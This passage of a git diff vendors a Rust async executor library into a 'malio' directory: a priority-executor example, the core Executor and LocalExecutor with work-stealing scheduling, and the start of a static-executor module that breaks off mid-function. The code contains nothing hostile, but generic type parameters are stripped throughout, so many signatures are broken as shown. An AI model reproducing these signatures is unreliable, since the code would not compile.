[Executor<'a>; 3], +} + +impl<'a> PriorityExecutor<'a> { + /// Creates a new executor. + const fn new() -> PriorityExecutor<'a> { + PriorityExecutor { + ex: [Executor::new(), Executor::new(), Executor::new()], + } + } + + /// Spawns a task with the given priority. + fn spawn( + &self, + priority: Priority, + future: impl Future + Send + 'a, + ) -> Task { + self.ex[priority as usize].spawn(future) + } + + /// Runs the executor forever. + async fn run(&self) { + loop { + for _ in 0..200 { + let t0 = self.ex[0].tick(); + let t1 = self.ex[1].tick(); + let t2 = self.ex[2].tick(); + + // Wait until one of the ticks completes, trying them in order from highest + // priority to lowest priority. + t0.or(t1).or(t2).await; + } + + // Yield every now and then. + future::yield_now().await; + } + } +} + +fn main() { + static EX: PriorityExecutor<'_> = PriorityExecutor::new(); + + // Spawn a thread running the executor forever. + thread::spawn(|| future::block_on(EX.run())); + + let mut tasks = Vec::new(); + + for _ in 0..20 { + // Choose a random priority. + let choice = [Priority::High, Priority::Medium, Priority::Low]; + let priority = choice[fastrand::usize(..choice.len())]; + + // Spawn a task with this priority. + tasks.push(EX.spawn(priority, async move { + println!("{priority:?}"); + future::yield_now().await; + println!("{priority:?}"); + })); + } + + for task in tasks { + future::block_on(task); + } +} diff --git a/lib/malio/async-executor/src/lib.rs b/lib/malio/async-executor/src/lib.rs new file mode 100644 index 0000000..b65c33c --- /dev/null +++ b/lib/malio/async-executor/src/lib.rs @@ -0,0 +1,1233 @@ +//! Async executors. +//! +//! This crate provides two reference executors that trade performance for +//! functionality. They should be considered reference executors that are "good +//! enough" for most use cases. For more specialized use cases, consider writing +//! your own executor on top of [`async-task`]. +//! +//! [`async-task`]: https://crates.io/crates/async-task +//! +//! # Examples +//! +//! ``` +//! use async_executor::Executor; +//! use futures_lite::future; +//! +//! // Create a new executor. +//! let ex = Executor::new(); +//! +//! // Spawn a task. +//! let task = ex.spawn(async { +//! println!("Hello world"); +//! }); +//! +//! // Run the executor until the task completes. +//! future::block_on(ex.run(task)); +//! ``` + +#![warn( + missing_docs, + missing_debug_implementations, + rust_2018_idioms, + clippy::undocumented_unsafe_blocks +)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![cfg_attr(docsrs, feature(doc_cfg))] +#![allow(clippy::unused_unit)] // false positive fixed in Rust 1.89 + +use std::fmt; +use std::marker::PhantomData; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::pin::Pin; +use std::rc::Rc; +use std::sync::atomic::{AtomicBool, AtomicPtr, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, PoisonError, RwLock, TryLockError}; +use std::task::{Context, Poll, Waker}; + +use async_task::{Builder, Runnable}; +use concurrent_queue::ConcurrentQueue; +use futures_lite::{future, prelude::*}; +use pin_project_lite::pin_project; +use slab::Slab; + +#[cfg(feature = "static")] +mod static_executors; + +#[doc(no_inline)] +pub use async_task::{FallibleTask, Task}; +#[cfg(feature = "static")] +#[cfg_attr(docsrs, doc(cfg(any(feature = "static"))))] +pub use static_executors::*; + +/// An async executor. +/// +/// # Examples +/// +/// A multi-threaded executor: +/// +/// ``` +/// use async_channel::unbounded; +/// use async_executor::Executor; +/// use easy_parallel::Parallel; +/// use futures_lite::future; +/// +/// let ex = Executor::new(); +/// let (signal, shutdown) = unbounded::<()>(); +/// +/// Parallel::new() +/// // Run four executor threads. +/// .each(0..4, |_| future::block_on(ex.run(shutdown.recv()))) +/// // Run the main future on the current thread. +/// .finish(|| future::block_on(async { +/// println!("Hello world!"); +/// drop(signal); +/// })); +/// ``` +pub struct Executor<'a> { + /// The executor state. + pub(crate) state: AtomicPtr, + + /// Makes the `'a` lifetime invariant. + _marker: PhantomData>, +} + +// SAFETY: Executor stores no thread local state that can be accessed via other thread. +unsafe impl Send for Executor<'_> {} +// SAFETY: Executor internally synchronizes all of it's operations internally. +unsafe impl Sync for Executor<'_> {} + +impl UnwindSafe for Executor<'_> {} +impl RefUnwindSafe for Executor<'_> {} + +impl fmt::Debug for Executor<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_executor(self, "Executor", f) + } +} + +impl<'a> Executor<'a> { + /// Creates a new executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// ``` + pub const fn new() -> Executor<'a> { + Executor { + state: AtomicPtr::new(std::ptr::null_mut()), + _marker: PhantomData, + } + } + + /// Returns `true` if there are no unfinished tasks. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// assert!(ex.is_empty()); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(!ex.is_empty()); + /// + /// assert!(ex.try_tick()); + /// assert!(ex.is_empty()); + /// ``` + pub fn is_empty(&self) -> bool { + self.state().active().is_empty() + } + + /// Spawns a task onto the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&self, future: impl Future + Send + 'a) -> Task { + let state = self.state(); + let mut active = state.active(); + + // SAFETY: `T` and the future are `Send`. + unsafe { Self::spawn_inner(state, future, &mut active) } + } + + /// Spawns many tasks onto the executor. + /// + /// As opposed to the [`spawn`] method, this locks the executor's inner task lock once and + /// spawns all of the tasks in one go. With large amounts of tasks this can improve + /// contention. + /// + /// For very large numbers of tasks the lock is occasionally dropped and re-acquired to + /// prevent runner thread starvation. It is assumed that the iterator provided does not + /// block; blocking iterators can lock up the internal mutex and therefore the entire + /// executor. + /// + /// ## Example + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::{stream, prelude::*}; + /// use std::future::ready; + /// + /// # futures_lite::future::block_on(async { + /// let mut ex = Executor::new(); + /// + /// let futures = [ + /// ready(1), + /// ready(2), + /// ready(3) + /// ]; + /// + /// // Spawn all of the futures onto the executor at once. + /// let mut tasks = vec![]; + /// ex.spawn_many(futures, &mut tasks); + /// + /// // Await all of them. + /// let results = ex.run(async move { + /// stream::iter(tasks).then(|x| x).collect::>().await + /// }).await; + /// assert_eq!(results, [1, 2, 3]); + /// # }); + /// ``` + /// + /// [`spawn`]: Executor::spawn + pub fn spawn_many + Send + 'a>( + &self, + futures: impl IntoIterator, + handles: &mut impl Extend>, + ) { + let state = self.state(); + let mut active = Some(state.as_ref().active()); + + // Convert the futures into tasks. + let tasks = futures.into_iter().enumerate().map(move |(i, future)| { + // SAFETY: `T` and the future are `Send`. + let task = unsafe { Self::spawn_inner(state, future, active.as_mut().unwrap()) }; + + // Yield the lock every once in a while to ease contention. + if i.wrapping_sub(1) % 500 == 0 { + drop(active.take()); + active = Some(self.state().active()); + } + + task + }); + + // Push the tasks to the user's collection. + handles.extend(tasks); + } + + /// Spawn a future while holding the inner lock. + /// + /// # Safety + /// + /// If this is an `Executor`, `F` and `T` must be `Send`. + unsafe fn spawn_inner( + state: Pin<&'a State>, + future: impl Future + 'a, + active: &mut Slab, + ) -> Task { + // Remove the task from the set of active tasks when the future finishes. + let entry = active.vacant_entry(); + let index = entry.key(); + let future = AsyncCallOnDrop::new(future, move || drop(state.active().try_remove(index))); + + // Create the task and register it in the set of active tasks. + // + // SAFETY: + // + // If `future` is not `Send`, this must be a `LocalExecutor` as per this + // function's unsafe precondition. Since `LocalExecutor` is `!Sync`, + // `try_tick`, `tick` and `run` can only be called from the origin + // thread of the `LocalExecutor`. Similarly, `spawn` can only be called + // from the origin thread, ensuring that `future` and the executor share + // the same origin thread. The `Runnable` can be scheduled from other + // threads, but because of the above `Runnable` can only be called or + // dropped on the origin thread. + // + // `future` is not `'static`, but we make sure that the `Runnable` does + // not outlive `'a`. When the executor is dropped, the `active` field is + // drained and all of the `Waker`s are woken. Then, the queue inside of + // the `Executor` is drained of all of its runnables. This ensures that + // runnables are dropped and this precondition is satisfied. + // + // `Self::schedule` is `Send` and `Sync`, as checked below. + // Therefore we do not need to worry about which thread the `Waker` is used + // and dropped on. + // + // `Self::schedule` may not be `'static`, but we make sure that the `Waker` does + // not outlive `'a`. When the executor is dropped, the `active` field is + // drained and all of the `Waker`s are woken. + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, Self::schedule(state)); + entry.insert(runnable.waker()); + + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state().try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state().tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state().run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(state: Pin<&'a State>) -> impl Fn(Runnable) + Send + Sync + 'a { + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } + + /// Returns a pointer to the inner state. + #[inline] + fn state(&self) -> Pin<&'a State> { + #[cold] + fn alloc_state(atomic_ptr: &AtomicPtr) -> *mut State { + let state = Arc::new(State::new()); + let ptr = Arc::into_raw(state).cast_mut(); + if let Err(actual) = atomic_ptr.compare_exchange( + std::ptr::null_mut(), + ptr, + Ordering::AcqRel, + Ordering::Acquire, + ) { + // SAFETY: This was just created from Arc::into_raw. + drop(unsafe { Arc::from_raw(ptr) }); + actual + } else { + ptr + } + } + + let mut ptr = self.state.load(Ordering::Acquire); + if ptr.is_null() { + ptr = alloc_state(&self.state); + } + + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // and will never be moved until it's dropped. + Pin::new(unsafe { &*ptr }) + } +} + +impl Drop for Executor<'_> { + fn drop(&mut self) { + let ptr = *self.state.get_mut(); + if ptr.is_null() { + return; + } + + // SAFETY: As ptr is not null, it was allocated via Arc::new and converted + // via Arc::into_raw in state_ptr. + let state = unsafe { Arc::from_raw(ptr) }; + + let mut active = state.pin().active(); + for w in active.drain() { + w.wake(); + } + drop(active); + + while state.queue.pop().is_ok() {} + } +} + +impl<'a> Default for Executor<'a> { + fn default() -> Executor<'a> { + Executor::new() + } +} + +/// A thread-local executor. +/// +/// The executor can only be run on the thread that created it. +/// +/// # Examples +/// +/// ``` +/// use async_executor::LocalExecutor; +/// use futures_lite::future; +/// +/// let local_ex = LocalExecutor::new(); +/// +/// future::block_on(local_ex.run(async { +/// println!("Hello world!"); +/// })); +/// ``` +pub struct LocalExecutor<'a> { + /// The inner executor. + inner: Executor<'a>, + + /// Makes the type `!Send` and `!Sync`. + _marker: PhantomData>, +} + +impl UnwindSafe for LocalExecutor<'_> {} +impl RefUnwindSafe for LocalExecutor<'_> {} + +impl fmt::Debug for LocalExecutor<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_executor(&self.inner, "LocalExecutor", f) + } +} + +impl<'a> LocalExecutor<'a> { + /// Creates a single-threaded executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// ``` + pub const fn new() -> LocalExecutor<'a> { + LocalExecutor { + inner: Executor::new(), + _marker: PhantomData, + } + } + + /// Returns `true` if there are no unfinished tasks. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// assert!(local_ex.is_empty()); + /// + /// let task = local_ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(!local_ex.is_empty()); + /// + /// assert!(local_ex.try_tick()); + /// assert!(local_ex.is_empty()); + /// ``` + pub fn is_empty(&self) -> bool { + self.inner().is_empty() + } + + /// Spawns a task onto the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// + /// let task = local_ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&self, future: impl Future + 'a) -> Task { + let state = self.inner().state(); + let mut active = state.active(); + + // SAFETY: This executor is not thread safe, so the future and its result + // cannot be sent to another thread. + unsafe { Executor::spawn_inner(state, future, &mut active) } + } + + /// Spawns many tasks onto the executor. + /// + /// As opposed to the [`spawn`] method, this locks the executor's inner task lock once and + /// spawns all of the tasks in one go. With large amounts of tasks this can improve + /// contention. + /// + /// It is assumed that the iterator provided does not block; blocking iterators can lock up + /// the internal mutex and therefore the entire executor. Unlike [`Executor::spawn`], the + /// mutex is not released, as there are no other threads that can poll this executor. + /// + /// ## Example + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::{stream, prelude::*}; + /// use std::future::ready; + /// + /// # futures_lite::future::block_on(async { + /// let mut ex = LocalExecutor::new(); + /// + /// let futures = [ + /// ready(1), + /// ready(2), + /// ready(3) + /// ]; + /// + /// // Spawn all of the futures onto the executor at once. + /// let mut tasks = vec![]; + /// ex.spawn_many(futures, &mut tasks); + /// + /// // Await all of them. + /// let results = ex.run(async move { + /// stream::iter(tasks).then(|x| x).collect::>().await + /// }).await; + /// assert_eq!(results, [1, 2, 3]); + /// # }); + /// ``` + /// + /// [`spawn`]: LocalExecutor::spawn + /// [`Executor::spawn_many`]: Executor::spawn_many + pub fn spawn_many + 'a>( + &self, + futures: impl IntoIterator, + handles: &mut impl Extend>, + ) { + let state = self.inner().state(); + let mut active = state.active(); + + // Convert all of the futures to tasks. + let tasks = futures.into_iter().map(|future| { + // SAFETY: This executor is not thread safe, so the future and its result + // cannot be sent to another thread. + unsafe { Executor::spawn_inner(state, future, &mut active) } + + // As only one thread can spawn or poll tasks at a time, there is no need + // to release lock contention here. + }); + + // Push them to the user's collection. + handles.extend(tasks); + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.inner().try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.inner().tick().await + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let local_ex = LocalExecutor::new(); + /// + /// let task = local_ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(local_ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.inner().run(future).await + } + + /// Returns a reference to the inner executor. + fn inner(&self) -> &Executor<'a> { + &self.inner + } +} + +impl<'a> Default for LocalExecutor<'a> { + fn default() -> LocalExecutor<'a> { + LocalExecutor::new() + } +} + +/// The state of a executor. +struct State { + /// The global queue. + queue: ConcurrentQueue, + + /// Local queues created by runners. + local_queues: RwLock>>>, + + /// Set to `true` when a sleeping ticker is notified or no tickers are sleeping. + notified: AtomicBool, + + /// A list of sleeping tickers. + sleepers: Mutex, + + /// Currently active tasks. + active: Mutex>, +} + +impl State { + /// Creates state for a new executor. + const fn new() -> State { + State { + queue: ConcurrentQueue::unbounded(), + local_queues: RwLock::new(Vec::new()), + notified: AtomicBool::new(true), + sleepers: Mutex::new(Sleepers { + count: 0, + wakers: Vec::new(), + free_ids: Vec::new(), + }), + active: Mutex::new(Slab::new()), + } + } + + fn pin(&self) -> Pin<&Self> { + Pin::new(self) + } + + /// Returns a reference to currently active tasks. + fn active(self: Pin<&Self>) -> MutexGuard<'_, Slab> { + self.get_ref() + .active + .lock() + .unwrap_or_else(PoisonError::into_inner) + } + + /// Notifies a sleeping ticker. + #[inline] + fn notify(&self) { + if self + .notified + .compare_exchange(false, true, Ordering::AcqRel, Ordering::Acquire) + .is_ok() + { + let waker = self + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner) + .notify(); + if let Some(w) = waker { + w.wake(); + } + } + } + + pub(crate) fn try_tick(&self) -> bool { + match self.queue.pop() { + Err(_) => false, + Ok(runnable) => { + // Notify another ticker now to pick up where this ticker left off, just in case + // running the task takes a long time. + self.notify(); + + // Run the task. + runnable.run(); + true + } + } + } + + pub(crate) async fn tick(&self) { + let runnable = Ticker::new(self).runnable().await; + runnable.run(); + } + + pub async fn run(&self, future: impl Future) -> T { + let mut runner = Runner::new(self); + let mut rng = fastrand::Rng::new(); + + // A future that runs tasks forever. + let run_forever = async { + loop { + for _ in 0..200 { + let runnable = runner.runnable(&mut rng).await; + runnable.run(); + } + future::yield_now().await; + } + }; + + // Run `future` and `run_forever` concurrently until `future` completes. + future.or(run_forever).await + } +} + +/// A list of sleeping tickers. +struct Sleepers { + /// Number of sleeping tickers (both notified and unnotified). + count: usize, + + /// IDs and wakers of sleeping unnotified tickers. + /// + /// A sleeping ticker is notified when its waker is missing from this list. + wakers: Vec<(usize, Waker)>, + + /// Reclaimed IDs. + free_ids: Vec, +} + +impl Sleepers { + /// Inserts a new sleeping ticker. + fn insert(&mut self, waker: &Waker) -> usize { + let id = match self.free_ids.pop() { + Some(id) => id, + None => self.count + 1, + }; + self.count += 1; + self.wakers.push((id, waker.clone())); + id + } + + /// Re-inserts a sleeping ticker's waker if it was notified. + /// + /// Returns `true` if the ticker was notified. + fn update(&mut self, id: usize, waker: &Waker) -> bool { + for item in &mut self.wakers { + if item.0 == id { + item.1.clone_from(waker); + return false; + } + } + + self.wakers.push((id, waker.clone())); + true + } + + /// Removes a previously inserted sleeping ticker. + /// + /// Returns `true` if the ticker was notified. + fn remove(&mut self, id: usize) -> bool { + self.count -= 1; + self.free_ids.push(id); + + for i in (0..self.wakers.len()).rev() { + if self.wakers[i].0 == id { + self.wakers.remove(i); + return false; + } + } + true + } + + /// Returns `true` if a sleeping ticker is notified or no tickers are sleeping. + fn is_notified(&self) -> bool { + self.count == 0 || self.count > self.wakers.len() + } + + /// Returns notification waker for a sleeping ticker. + /// + /// If a ticker was notified already or there are no tickers, `None` will be returned. + fn notify(&mut self) -> Option { + if self.wakers.len() == self.count { + self.wakers.pop().map(|item| item.1) + } else { + None + } + } +} + +/// Runs task one by one. +struct Ticker<'a> { + /// The executor state. + state: &'a State, + + /// Set to a non-zero sleeper ID when in sleeping state. + /// + /// States a ticker can be in: + /// 1) Woken. + /// 2a) Sleeping and unnotified. + /// 2b) Sleeping and notified. + sleeping: usize, +} + +impl Ticker<'_> { + /// Creates a ticker. + fn new(state: &State) -> Ticker<'_> { + Ticker { state, sleeping: 0 } + } + + /// Moves the ticker into sleeping and unnotified state. + /// + /// Returns `false` if the ticker was already sleeping and unnotified. + fn sleep(&mut self, waker: &Waker) -> bool { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + + match self.sleeping { + // Move to sleeping state. + 0 => { + self.sleeping = sleepers.insert(waker); + } + + // Already sleeping, check if notified. + id => { + if !sleepers.update(id, waker) { + return false; + } + } + } + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + + true + } + + /// Moves the ticker into woken state. + fn wake(&mut self) { + if self.sleeping != 0 { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + sleepers.remove(self.sleeping); + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + } + self.sleeping = 0; + } + + /// Waits for the next runnable task to run. + async fn runnable(&mut self) -> Runnable { + self.runnable_with(|| self.state.queue.pop().ok()).await + } + + /// Waits for the next runnable task to run, given a function that searches for a task. + async fn runnable_with(&mut self, mut search: impl FnMut() -> Option) -> Runnable { + future::poll_fn(|cx| { + loop { + match search() { + None => { + // Move to sleeping and unnotified state. + if !self.sleep(cx.waker()) { + // If already sleeping and unnotified, return. + return Poll::Pending; + } + } + Some(r) => { + // Wake up. + self.wake(); + + // Notify another ticker now to pick up where this ticker left off, just in + // case running the task takes a long time. + self.state.notify(); + + return Poll::Ready(r); + } + } + } + }) + .await + } +} + +impl Drop for Ticker<'_> { + fn drop(&mut self) { + // If this ticker is in sleeping state, it must be removed from the sleepers list. + if self.sleeping != 0 { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + let notified = sleepers.remove(self.sleeping); + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + + // If this ticker was notified, then notify another ticker. + if notified { + drop(sleepers); + self.state.notify(); + } + } + } +} + +/// A worker in a work-stealing executor. +/// +/// This is just a ticker that also has an associated local queue for improved cache locality. +struct Runner<'a> { + /// The executor state. + state: &'a State, + + /// Inner ticker. + ticker: Ticker<'a>, + + /// The local queue. + local: Arc>, + + /// Bumped every time a runnable task is found. + ticks: usize, +} + +impl Runner<'_> { + /// Creates a runner and registers it in the executor state. + fn new(state: &State) -> Runner<'_> { + let runner = Runner { + state, + ticker: Ticker::new(state), + local: Arc::new(ConcurrentQueue::bounded(512)), + ticks: 0, + }; + state + .local_queues + .write() + .unwrap_or_else(PoisonError::into_inner) + .push(runner.local.clone()); + runner + } + + /// Waits for the next runnable task to run. + async fn runnable(&mut self, rng: &mut fastrand::Rng) -> Runnable { + let runnable = self + .ticker + .runnable_with(|| { + // Try the local queue. + if let Ok(r) = self.local.pop() { + return Some(r); + } + + // Try stealing from the global queue. + if let Ok(r) = self.state.queue.pop() { + steal(&self.state.queue, &self.local); + return Some(r); + } + + // Try stealing from other runners. + if let Ok(local_queues) = self.state.local_queues.try_read() { + // Pick a random starting point in the iterator list and rotate the list. + let n = local_queues.len(); + let start = rng.usize(..n); + let iter = local_queues + .iter() + .chain(local_queues.iter()) + .skip(start) + .take(n); + + // Remove this runner's local queue. + let iter = iter.filter(|local| !Arc::ptr_eq(local, &self.local)); + + // Try stealing from each local queue in the list. + for local in iter { + steal(local, &self.local); + if let Ok(r) = self.local.pop() { + return Some(r); + } + } + } + + None + }) + .await; + + // Bump the tick counter. + self.ticks = self.ticks.wrapping_add(1); + + if self.ticks % 64 == 0 { + // Steal tasks from the global queue to ensure fair task scheduling. + steal(&self.state.queue, &self.local); + } + + runnable + } +} + +impl Drop for Runner<'_> { + fn drop(&mut self) { + // Remove the local queue. + self.state + .local_queues + .write() + .unwrap_or_else(PoisonError::into_inner) + .retain(|local| !Arc::ptr_eq(local, &self.local)); + + // Re-schedule remaining tasks in the local queue. + while let Ok(r) = self.local.pop() { + r.schedule(); + } + } +} + +/// Steals some items from one queue into another. +fn steal(src: &ConcurrentQueue, dest: &ConcurrentQueue) { + // Half of `src`'s length rounded up. + let mut count = (src.len() + 1) / 2; + + if count > 0 { + // Don't steal more than fits into the queue. + if let Some(cap) = dest.capacity() { + count = count.min(cap - dest.len()); + } + + // Steal tasks. + for _ in 0..count { + if let Ok(t) = src.pop() { + assert!(dest.push(t).is_ok()); + } else { + break; + } + } + } +} + +/// Debug implementation for `Executor` and `LocalExecutor`. +fn debug_executor(executor: &Executor<'_>, name: &str, f: &mut fmt::Formatter<'_>) -> fmt::Result { + // Get a reference to the state. + let ptr = executor.state.load(Ordering::Acquire); + if ptr.is_null() { + // The executor has not been initialized. + struct Uninitialized; + + impl fmt::Debug for Uninitialized { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + return f.debug_tuple(name).field(&Uninitialized).finish(); + } + + // SAFETY: If the state pointer is not null, it must have been + // allocated properly by Arc::new and converted via Arc::into_raw + // in state_ptr. + let state = unsafe { &*ptr }; + + debug_state(state, name, f) +} + +/// Debug implementation for `Executor` and `LocalExecutor`. +fn debug_state(state: &State, name: &str, f: &mut fmt::Formatter<'_>) -> fmt::Result { + /// Debug wrapper for the number of active tasks. + struct ActiveTasks<'a>(&'a Mutex>); + + impl fmt::Debug for ActiveTasks<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_lock() { + Ok(lock) => fmt::Debug::fmt(&lock.len(), f), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(err)) => fmt::Debug::fmt(&err.into_inner().len(), f), + } + } + } + + /// Debug wrapper for the local runners. + struct LocalRunners<'a>(&'a RwLock>>>); + + impl fmt::Debug for LocalRunners<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_read() { + Ok(lock) => f + .debug_list() + .entries(lock.iter().map(|queue| queue.len())) + .finish(), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(_)) => f.write_str(""), + } + } + } + + /// Debug wrapper for the sleepers. + struct SleepCount<'a>(&'a Mutex); + + impl fmt::Debug for SleepCount<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_lock() { + Ok(lock) => fmt::Debug::fmt(&lock.count, f), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(_)) => f.write_str(""), + } + } + } + + f.debug_struct(name) + .field("active", &ActiveTasks(&state.active)) + .field("global_tasks", &state.queue.len()) + .field("local_runners", &LocalRunners(&state.local_queues)) + .field("sleepers", &SleepCount(&state.sleepers)) + .finish() +} + +/// Runs a closure when dropped. +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} + +pin_project! { + /// A wrapper around a future, running a closure when dropped. + struct AsyncCallOnDrop { + #[pin] + future: Fut, + cleanup: CallOnDrop, + } +} + +impl AsyncCallOnDrop { + fn new(future: Fut, cleanup: Cleanup) -> Self { + Self { + future, + cleanup: CallOnDrop(cleanup), + } + } +} + +impl Future for AsyncCallOnDrop { + type Output = Fut::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + self.project().future.poll(cx) + } +} + +fn _ensure_send_and_sync() { + use futures_lite::future::pending; + + fn is_send(_: T) {} + fn is_sync(_: T) {} + fn is_static(_: T) {} + + is_send::>(Executor::new()); + is_sync::>(Executor::new()); + + let ex = Executor::new(); + let state = ex.state(); + is_send(ex.run(pending::<()>())); + is_sync(ex.run(pending::<()>())); + is_send(ex.tick()); + is_sync(ex.tick()); + is_send(Executor::schedule(state)); + is_sync(Executor::schedule(state)); + is_static(Executor::schedule(state)); + + /// ```compile_fail + /// use async_executor::LocalExecutor; + /// use futures_lite::future::pending; + /// + /// fn is_send(_: T) {} + /// fn is_sync(_: T) {} + /// + /// is_send::>(LocalExecutor::new()); + /// is_sync::>(LocalExecutor::new()); + /// + /// let ex = LocalExecutor::new(); + /// is_send(ex.run(pending::<()>())); + /// is_sync(ex.run(pending::<()>())); + /// is_send(ex.tick()); + /// is_sync(ex.tick()); + /// ``` + fn _negative_test() {} +} diff --git a/lib/malio/async-executor/src/static_executors.rs b/lib/malio/async-executor/src/static_executors.rs new file mode 100644 index 0000000..2ad0403 --- /dev/null +++ b/lib/malio/async-executor/src/static_executors.rs @@ -0,0 +1,494 @@ +use crate::{debug_state, Executor, LocalExecutor, State}; +use async_task::{Builder, Runnable, Task}; +use slab::Slab; +use std::{ + cell::UnsafeCell, + fmt, + future::Future, + marker::PhantomData, + panic::{RefUnwindSafe, UnwindSafe}, + sync::{atomic::Ordering, PoisonError}, +}; + +impl Executor<'static> { + /// Consumes the [`Executor`] and intentionally leaks it. + /// + /// Largely equivalent to calling `Box::leak(Box::new(executor))`, but the produced + /// [`StaticExecutor`]'s functions are optimized to require fewer synchronizing operations + /// when spawning, running, and finishing tasks. + /// + /// `StaticExecutor` cannot be converted back into a `Executor`, so this operation is + /// irreversible without the use of unsafe. + /// + /// # Example + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(ex.run(task)); + /// ``` + pub fn leak(self) -> &'static StaticExecutor { + let ptr = self.state.load(Ordering::Relaxed); + + let state: &'static State = if ptr.is_null() { + Box::leak(Box::new(State::new())) + } else { + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // when accessed through state_ptr. This executor will live for the full 'static + // lifetime so this isn't an arbitrary lifetime extension. + unsafe { &*ptr } + }; + + std::mem::forget(self); + + let mut active = state.active.lock().unwrap_or_else(PoisonError::into_inner); + if !active.is_empty() { + // Reschedule all of the active tasks. + for waker in active.drain() { + waker.wake(); + } + // Overwrite to ensure that the slab is deallocated. + 